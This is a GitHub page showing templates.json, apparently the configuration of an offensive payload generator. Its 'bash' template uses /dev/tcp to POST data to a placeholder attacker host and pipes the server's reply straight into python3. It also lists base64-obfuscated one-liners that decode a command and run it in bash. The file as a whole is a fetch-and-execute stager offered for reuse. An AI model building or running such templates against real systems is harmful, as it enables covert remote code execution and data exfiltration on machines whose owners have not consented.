-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathtemplates.json
More file actions
31 lines (31 loc) · 1.16 KB
/
templates.json
File metadata and controls
31 lines (31 loc) · 1.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
"bash": {
"name": "bash",
"enabled": true,
"description": "Uses Bash's built-in /dev/tcp feature for HTTP connections",
"dependencies": ["bash"],
"detection": "command -v bash && bash -c '[ -w /dev/tcp ]'",
"http_template": [
"#!/bin/bash",
"exec 3<>/dev/tcp/{{HOST}}/{{PORT}}",
"echo -ne \"POST {{PATH}} HTTP/1.1\\r\\n\" >&3",
"echo -ne \"Host: {{HOST}}:{{PORT}}\\r\\n\" >&3",
"echo -ne \"Content-Type: application/x-www-form-urlencoded\\r\\n\" >&3",
"echo -ne \"Content-Length: {{CONTENT_LENGTH}}\\r\\n\" >&3",
"echo -ne \"Connection: close\\r\\n\\r\\n\" >&3",
"echo -ne \"{{DATA}}\" >&3",
"while IFS= read -r line; do",
" line=$(echo \"$line\" | tr -d '\\r')",
" [ -z \"$line\" ] && break",
"done <&3",
"cat <&3 | python3",
"exec 3>&-"
],
"https_template": null,
"oneliners": [
"echo {{COMMAND_ENC}} | base64 -d | bash",
"base64 -d <<< {{COMMAND_ENC}} | bash",
"{{COMMAND_DEC}}"
]
}
}